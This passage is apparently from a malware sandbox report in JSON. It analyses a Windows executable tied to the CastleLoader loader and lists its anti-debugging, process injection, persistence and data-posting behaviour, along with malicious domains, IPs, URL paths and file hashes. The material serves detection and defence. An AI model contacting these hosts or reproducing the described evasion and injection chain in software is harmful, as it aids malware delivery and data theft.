for Breakpoint Exception in handler function\t: \t 488b018138040000800f8586000000488b5108488b481048b8","origin":"API Call","mitre_attack_id":"T1622","relevance":9,"id":"api-274","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"11/24 Antivirus vendors marked sample as malicious (45% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"malicious","category":"General","name":"Execute Python scripts with dropped interpreter (Python execution from different path)","description":"Process \"pythonw.exe\" with commandline \"%ALLUSERSPROFILE%\\\\NexusSoftware\\\\felix1\\\\main.py\" (UID: 00000000-00003580)","origin":"Monitored Target","mitre_attack_id":"T1059.006","relevance":5,"id":"target-182","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"malicious","category":"Installation/Persistence","name":"Drops executable files to the application program directory (%ProgramData%)","description":"$81","origin":"Binary File","mitre_attack_id":"T1036","relevance":7,"id":"binary-27","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" loaded module \"%WINDIR%\\SysWOW64\\taskschd.dll\" at 738E0000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" wrote 000011C0 bytes to a remote process \"C:\\ProgramData\\NexusSoftware\\felix1\\pythonw.exe\" (Handle: 2380)\n \"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6.exe\" wrote 00000008 bytes to a remote process \"C:\\ProgramData\\NexusSoftware\\felix1\\pythonw.exe\" (Handle: 2380)\n \"pythonw.exe\" wrote 000011C0 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 456)\n \"pythonw.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 456)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"twitmerklend.com\" has been identified as malicious\n Contacted Domain: \"thelkfklef.com\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"level":"malicious","category":"Network Related","name":"Contacts multiple hosts","description":"Contacted 14 (or more) hosts in at least 0 different cls.countries","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":9,"id":"network-17","sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]}],"incidents":[{"name":"Spyware","details_count":3,"details":[{"detail":"Hooks API calls"},{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Writes a file to the startup folder"},{"detail":"Drops executable files to the application program directory (%ProgramData%)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Able to check if a debugger is running"},{"detail":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"Contains escaped byte string (often part of obfuscated shellcode)"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 8 domains and 8 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6ae4af83e9cb5a518f049d93"}]}],"intel_graph":{"map":{"Domain:accounts.google.com":{"type":"Domain","value":"accounts.google.com"},"Domain:clients2.google.com":{"type":"Domain","value":"clients2.google.com"},"Domain:clientservices.googleapis.com":{"type":"Domain","value":"clientservices.googleapis.com"},"Domain:safebrowsingohttpgateway.googleapis.com":{"type":"Domain","value":"safebrowsingohttpgateway.googleapis.com"},"Domain:thelkfklef.com":{"type":"Domain","value":"thelkfklef.com"},"Domain:twitmerklend.com":{"type":"Domain","value":"twitmerklend.com"},"Domain:viigmeeftsgs.com":{"type":"Domain","value":"viigmeeftsgs.com"},"Domain:www.google.com":{"type":"Domain","value":"www.google.com"},"File:052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4":{"type":"File","value":"052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4"},"File:06a0a243811e9c4738a9d413597659ca8d07b00f640b74adc9cb351c179b3268":{"type":"File","value":"06a0a243811e9c4738a9d413597659ca8d07b00f640b74adc9cb351c179b3268"},"File:0c71b7c8fcdd0d9b32b68b4b133380d3d57b5866056df7fe2bc2dde2d552cdd2":{"type":"File","value":"0c71b7c8fcdd0d9b32b68b4b133380d3d57b5866056df7fe2bc2dde2d552cdd2"},"File:0d316914b426e71bbd263b78fe23622ac1c8e6f86bae42ef6ffbb609e6257e3a":{"type":"File","value":"0d316914b426e71bbd263b78fe23622ac1c8e6f86bae42ef6ffbb609e6257e3a"},"File:118d5c36b649da58313ea5b0617dac96d2e35fc08739efa919547e189fb4d65c":{"type":"File","value":"118d5c36b649da58313ea5b0617dac96d2e35fc08739efa919547e189fb4d65c"},"File:1800304e19246edfdb56a14ffabc129b6b5b73e25dbedd2302e75a9eb4d78352":{"type":"File","value":"1800304e19246edfdb56a14ffabc129b6b5b73e25dbedd2302e75a9eb4d78352"},"File:1ddce9934889905b482f8587656f28ae1988365a55ae86ca4438873fd0184340":{"type":"File","value":"1ddce9934889905b482f8587656f28ae1988365a55ae86ca4438873fd0184340"},"File:1e4bc0638682bfcbb36f4465d6a2e9944d917a60f05ecc8ddf9e96847e05e13f":{"type":"File","value":"1e4bc0638682bfcbb36f4465d6a2e9944d917a60f05ecc8ddf9e96847e05e13f"},"File:313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a":{"type":"File","value":"313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a"},"File:3555e7a0250f379e12a7be5c736477246e411d58cea35be51226956038ad72a6":{"type":"File","value":"3555e7a0250f379e12a7be5c736477246e411d58cea35be51226956038ad72a6"},"File:53b36f719ee1905e56003a5d8af169fe05917787af66d00c86ceaf996a7d5caf":{"type":"File","value":"53b36f719ee1905e56003a5d8af169fe05917787af66d00c86ceaf996a7d5caf"},"File:596991399257e1f12bba9169b6e78c29d6327a82ad92f757ee7ba7f323f65469":{"type":"File","value":"596991399257e1f12bba9169b6e78c29d6327a82ad92f757ee7ba7f323f65469"},"File:62bec384df47b0328307db41455ff6ea2559e5546b394ac69148561b21703120":{"type":"File","value":"62bec384df47b0328307db41455ff6ea2559e5546b394ac69148561b21703120"},"File:63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8":{"type":"File","value":"63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8"},"File:6558b3307215c4b73fc96dc552213427fb9b28c0cb282fe6c38324f1e68e87d6":{"type":"File","value":"6558b3307215c4b73fc96dc552213427fb9b28c0cb282fe6c38324f1e68e87d6"},"File:6795d760ce7a955df6c2f5a062e296128efdb8c908908eda4d666926980447ea":{"type":"File","value":"6795d760ce7a955df6c2f5a062e296128efdb8c908908eda4d666926980447ea"},"File:6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8":{"type":"File","value":"6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8"},"File:739dcb145cb775608f16fc4f99cf923329b2108ea5ff2a5094baaf5fa7be64c9":{"type":"File","value":"739dcb145cb775608f16fc4f99cf923329b2108ea5ff2a5094baaf5fa7be64c9"},"File:8770291fed8af2ea8e9fd2ed695e8c56f8e26848c91d320d1a22ddf404d02116":{"type":"File","value":"8770291fed8af2ea8e9fd2ed695e8c56f8e26848c91d320d1a22ddf404d02116"},"File:8e0984c3b70f592c7de1a7bd432e6b240c994244a2c6bade4028859c09598205":{"type":"File","value":"8e0984c3b70f592c7de1a7bd432e6b240c994244a2c6bade4028859c09598205"},"File:9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917":{"type":"File","value":"9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917"},"File:96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7":{"type":"File","value":"96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7"},"File:971fecaef31b529c71e572f626778ffa3d75c171edeeb0c8952a2a8b774ae2dc":{"type":"File","value":"971fecaef31b529c71e572f626778ffa3d75c171edeeb0c8952a2a8b774ae2dc"},"File:a2a4eff8d0b0c845284c607d50a3b5b966ac5a3121736a2e38e165bd6644d9fe":{"type":"File","value":"a2a4eff8d0b0c845284c607d50a3b5b966ac5a3121736a2e38e165bd6644d9fe"},"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6":{"type":"File","value":"a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","verdict":{"verdict":"malicious","verdict_source":"indicator database","reasons":["confirmed malicious file","confirmed relationship with a Threat CastleLoader"]},"filetype":"PE32 executable for MS Windows 6.00 (GUI), Intel i386, 6 sections","filetype_short":"PE32"},"File:a69f3a7e281009c86868dd56c2e933ca2634a3979fdc2a4ca751ee4ef5e6ece7":{"type":"File","value":"a69f3a7e281009c86868dd56c2e933ca2634a3979fdc2a4ca751ee4ef5e6ece7"},"File:c8e24eb69b026fe1b7c035880e7d310b3911edcd887b2ab2b2a1535249c5b5fe":{"type":"File","value":"c8e24eb69b026fe1b7c035880e7d310b3911edcd887b2ab2b2a1535249c5b5fe"},"File:c918867f085eab243364b0df9064fe0fe2d93f7de81d71350dba4c4c2e5a9dd4":{"type":"File","value":"c918867f085eab243364b0df9064fe0fe2d93f7de81d71350dba4c4c2e5a9dd4"},"File:c95add0b1a541b723c9090c23abeadb8f642b31bb33f2e1ae005fbb8a331ef73":{"type":"File","value":"c95add0b1a541b723c9090c23abeadb8f642b31bb33f2e1ae005fbb8a331ef73"},"File:ca9313dce359c129edc385af4d0c2322e6b3fdad4969d5c2fbc36e0886da58bf":{"type":"File","value":"ca9313dce359c129edc385af4d0c2322e6b3fdad4969d5c2fbc36e0886da58bf"},"File:d36619cb9c55f2d3d1b67d0360d506d8c37212caf14629886eb47c03bada975c":{"type":"File","value":"d36619cb9c55f2d3d1b67d0360d506d8c37212caf14629886eb47c03bada975c"},"File:d7c45acadd5be82e4128989533d04a5d14c2b659f510efec75604345bd477e3c":{"type":"File","value":"d7c45acadd5be82e4128989533d04a5d14c2b659f510efec75604345bd477e3c"},"File:d96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368":{"type":"File","value":"d96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368"},"File:df21ec68d062eb375dba4ea8332aa859d0d4b91f9eddc45e1cebfd54742044e2":{"type":"File","value":"df21ec68d062eb375dba4ea8332aa859d0d4b91f9eddc45e1cebfd54742044e2"},"File:e03dd02fdcfb791981c9962827cfcf495f2a47a514c1526efb57f847a9df514a":{"type":"File","value":"e03dd02fdcfb791981c9962827cfcf495f2a47a514c1526efb57f847a9df514a"},"File:e80e2c4533958c717f40238155bd9f4101df23f832e1dddb8be4e83f7ad3355a":{"type":"File","value":"e80e2c4533958c717f40238155bd9f4101df23f832e1dddb8be4e83f7ad3355a"},"File:eb860d3a4ad45e3d7975c5fdc3994798ee9b7ab685fa920c2656878b7dcd3029":{"type":"File","value":"eb860d3a4ad45e3d7975c5fdc3994798ee9b7ab685fa920c2656878b7dcd3029"},"File:ed4d992783c84334069efc57ae62c972bd1c3afd9b1413269fdd29b4d8a4d88b":{"type":"File","value":"ed4d992783c84334069efc57ae62c972bd1c3afd9b1413269fdd29b4d8a4d88b"},"File:edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796":{"type":"File","value":"edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796"},"File:f812b488ea8ae37c7da58f3068a1d08b1c66f9a7858610652bc4329843e0b876":{"type":"File","value":"f812b488ea8ae37c7da58f3068a1d08b1c66f9a7858610652bc4329843e0b876"},"Ip:142.250.188.14":{"type":"Ip","value":"142.250.188.14"},"Ip:142.250.31.84":{"type":"Ip","value":"142.250.31.84"},"Ip:142.251.152.119":{"type":"Ip","value":"142.251.152.119"},"Ip:142.251.153.119":{"type":"Ip","value":"142.251.153.119"},"Ip:142.251.211.174":{"type":"Ip","value":"142.251.211.174"},"Ip:172.217.115.4":{"type":"Ip","value":"172.217.115.4"},"Ip:172.217.117.4":{"type":"Ip","value":"172.217.117.4"},"Ip:31.77.168.93":{"type":"Ip","value":"31.77.168.93"},"Ip:31.77.219.127":{"type":"Ip","value":"31.77.219.127"},"Ip:85.120.253.110":{"type":"Ip","value":"85.120.253.110"},"Ip:87.120.244.24":{"type":"Ip","value":"87.120.244.24"},"Threat:232f4d290871d87ce1b418ae36e55fc60061df04415a69bc3528be40835ac4f7":{"type":"Threat","value":"CastleLoader","verdict":{"verdict":"malicious","verdict_source":"indicator database"}},"Url:/31aa8434-bc4d-511f-910d-adbab2766b4f":{"type":"Url","value":"/31aa8434-bc4d-511f-910d-adbab2766b4f"},"Url:/31aa8434-bc4d-511f-910d-adbab2766b4f/22d0642c-c560-5532-a5ee-70fb76dc49ef":{"type":"Url","value":"/31aa8434-bc4d-511f-910d-adbab2766b4f/22d0642c-c560-5532-a5ee-70fb76dc49ef"},"Url:/39a3118a-b37f-57e0-9746-abd7aa3cbf0d/ns1.zip":{"type":"Url","value":"/39a3118a-b37f-57e0-9746-abd7aa3cbf0d/ns1.zip"},"Url:/async/folae?async=_fmt:pb":{"type":"Url","value":"/async/folae?async=_fmt:pb"},"Url:/fkdr2342fsf/felix1":{"type":"Url","value":"/fkdr2342fsf/felix1"}},"chains":[{"id":"1565740554734252761","root":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","edges":[],"verdict":{"verdict":"malicious","verdict_source":"indicator database","reasons":["confirmed malicious file","confirmed relationship with a Threat CastleLoader"]}},{"id":"1565740552469132931","root":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","edges":[{"edge_kind":"is_threat","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Threat:232f4d290871d87ce1b418ae36e55fc60061df04415a69bc3528be40835ac4f7"}],"verdict":{"verdict":"malicious","verdict_source":"indicator database"}},{"id":"sandbox_network","root":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","edges":[{"edge_kind":"contacted_ip","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Ip:87.120.244.24"},{"edge_kind":"contacted_ip","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Ip:85.120.253.110"},{"edge_kind":"contacted_ip","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Ip:31.77.219.127"},{"edge_kind":"contacted_ip","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Ip:31.77.168.93"},{"edge_kind":"contacted_ip","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Ip:142.251.211.174"},{"edge_kind":"contacted_ip","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Ip:142.250.188.14"},{"edge_kind":"contacted_ip","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Ip:172.217.117.4"},{"edge_kind":"contacted_ip","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Ip:142.251.211.174"},{"edge_kind":"contacted_ip","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Ip:142.250.31.84"},{"edge_kind":"contacted_ip","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Ip:142.251.152.119"},{"edge_kind":"contacted_ip","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Ip:172.217.115.4"},{"edge_kind":"contacted_ip","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Ip:142.251.153.119"},{"edge_kind":"contacted_domain","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Domain:accounts.google.com"},{"edge_kind":"resolves_to","from_key":"Domain:accounts.google.com","to_key":"Ip:142.250.31.84"},{"edge_kind":"contacted_domain","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Domain:clients2.google.com"},{"edge_kind":"resolves_to","from_key":"Domain:clients2.google.com","to_key":"Ip:142.251.211.174"},{"edge_kind":"contacted_domain","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Domain:clientservices.googleapis.com"},{"edge_kind":"resolves_to","from_key":"Domain:clientservices.googleapis.com","to_key":"Ip:142.250.188.14"},{"edge_kind":"contacted_domain","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Domain:safebrowsingohttpgateway.googleapis.com"},{"edge_kind":"resolves_to","from_key":"Domain:safebrowsingohttpgateway.googleapis.com","to_key":"Ip:172.217.115.4"},{"edge_kind":"contacted_domain","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Domain:thelkfklef.com"},{"edge_kind":"resolves_to","from_key":"Domain:thelkfklef.com","to_key":"Ip:31.77.219.127"},{"edge_kind":"contacted_domain","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Domain:twitmerklend.com"},{"edge_kind":"resolves_to","from_key":"Domain:twitmerklend.com","to_key":"Ip:87.120.244.24"},{"edge_kind":"contacted_domain","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Domain:viigmeeftsgs.com"},{"edge_kind":"resolves_to","from_key":"Domain:viigmeeftsgs.com","to_key":"Ip:85.120.253.110"},{"edge_kind":"contacted_domain","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Domain:www.google.com"},{"edge_kind":"resolves_to","from_key":"Domain:www.google.com","to_key":"Ip:142.251.152.119"},{"edge_kind":"contacted_url","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Url:/31aa8434-bc4d-511f-910d-adbab2766b4f/22d0642c-c560-5532-a5ee-70fb76dc49ef"},{"edge_kind":"contacted_url","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Url:/31aa8434-bc4d-511f-910d-adbab2766b4f"},{"edge_kind":"contacted_url","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Url:/fkdr2342fsf/felix1"},{"edge_kind":"contacted_url","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Url:/39a3118a-b37f-57e0-9746-abd7aa3cbf0d/ns1.zip"},{"edge_kind":"contacted_url","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"Url:/async/folae?async=_fmt:pb"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","edges":[{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:edfe2b923bfb5d1088de1611401f5c35ece91581e71503a5631647ac51f7d796"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:63aa18c32af7144156e7ee2d5ba0fa4f5872a7deb56894f6f96505cbc9afe6f8"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:06a0a243811e9c4738a9d413597659ca8d07b00f640b74adc9cb351c179b3268"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:9074fd40ea6a0caa892e6361a6a4e834c2e51e6e98d1ffcda7a9a537594a6917"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:6558b3307215c4b73fc96dc552213427fb9b28c0cb282fe6c38324f1e68e87d6"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:e03dd02fdcfb791981c9962827cfcf495f2a47a514c1526efb57f847a9df514a"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:1e4bc0638682bfcbb36f4465d6a2e9944d917a60f05ecc8ddf9e96847e05e13f"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:8e0984c3b70f592c7de1a7bd432e6b240c994244a2c6bade4028859c09598205"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:a2a4eff8d0b0c845284c607d50a3b5b966ac5a3121736a2e38e165bd6644d9fe"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:ca9313dce359c129edc385af4d0c2322e6b3fdad4969d5c2fbc36e0886da58bf"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:c918867f085eab243364b0df9064fe0fe2d93f7de81d71350dba4c4c2e5a9dd4"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:ed4d992783c84334069efc57ae62c972bd1c3afd9b1413269fdd29b4d8a4d88b"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:596991399257e1f12bba9169b6e78c29d6327a82ad92f757ee7ba7f323f65469"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:052ad6a20d375957e82aa6a3c441ea548d89be0981516ca7eb306e063d5027f4"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:6a99bc0128e0c7d6cbbf615fcc26909565e17d4ca3451b97f8987f9c6acbc6c8"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:c8e24eb69b026fe1b7c035880e7d310b3911edcd887b2ab2b2a1535249c5b5fe"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:6795d760ce7a955df6c2f5a062e296128efdb8c908908eda4d666926980447ea"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:d96856cd944a9f1587907cacef974c0248b7f4210f1689c1e6bcac5fed289368"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:1ddce9934889905b482f8587656f28ae1988365a55ae86ca4438873fd0184340"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:313117e723dda6ea3911faacd23f4405003fb651c73de8deff10b9eb5b4a058a"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:62bec384df47b0328307db41455ff6ea2559e5546b394ac69148561b21703120"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:53b36f719ee1905e56003a5d8af169fe05917787af66d00c86ceaf996a7d5caf"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:df21ec68d062eb375dba4ea8332aa859d0d4b91f9eddc45e1cebfd54742044e2"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:c95add0b1a541b723c9090c23abeadb8f642b31bb33f2e1ae005fbb8a331ef73"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:e80e2c4533958c717f40238155bd9f4101df23f832e1dddb8be4e83f7ad3355a"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:739dcb145cb775608f16fc4f99cf923329b2108ea5ff2a5094baaf5fa7be64c9"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:8770291fed8af2ea8e9fd2ed695e8c56f8e26848c91d320d1a22ddf404d02116"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:f812b488ea8ae37c7da58f3068a1d08b1c66f9a7858610652bc4329843e0b876"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:3555e7a0250f379e12a7be5c736477246e411d58cea35be51226956038ad72a6"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:0d316914b426e71bbd263b78fe23622ac1c8e6f86bae42ef6ffbb609e6257e3a"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:a69f3a7e281009c86868dd56c2e933ca2634a3979fdc2a4ca751ee4ef5e6ece7"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a4d7b34ca1072c1201551a09ae8ccd8dd8f6","to_key":"File:0c71b7c8fcdd0d9b32b68b4b133380d3d57b5866056df7fe2bc2dde2d552cdd2"},{"edge_kind":"extracted","from_key":"File:a459cc80f8ad88b4e68b4ba073d2a